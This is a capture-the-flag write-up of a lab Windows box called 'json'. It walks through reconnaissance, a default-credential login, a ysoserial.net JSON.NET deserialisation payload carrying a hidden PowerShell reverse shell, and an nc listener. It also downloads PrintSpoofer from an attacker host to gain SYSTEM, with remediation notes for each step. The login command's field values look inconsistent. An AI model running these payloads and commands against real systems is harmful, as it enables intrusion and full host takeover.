Json
Summary
The json Windows target ($TARGET) runs an IIS 8.5 / ASP.NET single-page application whose bundled JavaScript disclosed the authentication API endpoint and required field names. The server accepted the trivially guessed default credential pair [REDACTED: recovered credential]:[REDACTED: recovered credential], issuing a home-rolled OAuth2 session cookie.
An authenticated endpoint deserialised my own JSON using JSON.NET with permissive TypeNameHandling settings, allowing a ysoserial.net gadget chain to execute arbitrary commands as the IIS application-pool identity json\userpool — foothold established and user flag captured. That service account held SeImpersonatePrivilege, a Windows token-impersonation right that PrintSpoofer abused to coerce the Print Spooler into yielding a SYSTEM-level token; enumeration revealed the root flag on a non-standard administrator account named superadmin, confirming total host compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -oN json.nmap $TARGETExact commands 2
curl -sS http://$TARGET/ -o index.htmlcurl -sS -o app.min.js http://$TARGET/js/app.min.js && cat app.min.js | tr ';{}' '\n' | grep -iE 'api|token|account|user|pass' | head -50Exact commands 2
curl -sS -i -c cookies.txt -H 'Content-Type: application/json' -X POST http://$TARGET/api/token -d '{"UserName":"$PASSWORD","Password":"$PASSWORD"}'python3 -c "import base64,sys; v=sys.argv[1]; print(base64.b64decode(v + '==').decode())" '<OAuth2_cookie_value>'FixReplace default credentials and enforce login rate limiting on the authentication APICritical
Exact commands 4
curl -sS http://$TARGET/api/Account -b cookies.txtysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -nop -w hidden -e <base64_reverse_shell>" -o raw > payload.jsonnc -lvnp 4444curl -sS -X POST http://$TARGET/api/Account -b cookies.txt -H 'Content-Type: application/json' -d @payload.jsonFixSet JSON.NET TypeNameHandling to None and whitelist permitted types on all deserialisation call sitesCritical
Exact commands 2
whoami; hostnameGet-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force | ForEach-Object { $_.FullName; Get-Content $_.FullName }Exact commands 4
whoami /allpython3 -m http.server 9000Invoke-WebRequest -Uri http://$ATTACKER_IP:9000/PrintSpoofer64.exe -OutFile C:\Windows\Temp\PrintSpoofer64.exeC:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c whoami"FixRemove SeImpersonatePrivilege from the IIS application-pool account and disable the Print Spooler on non-print serversHigh
Exact commands 2
C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users"C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users\superadmin\Desktop && type C:\Users\superadmin\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp FileZilla ftpd 0.9.60 beta |
| 80/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49156/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |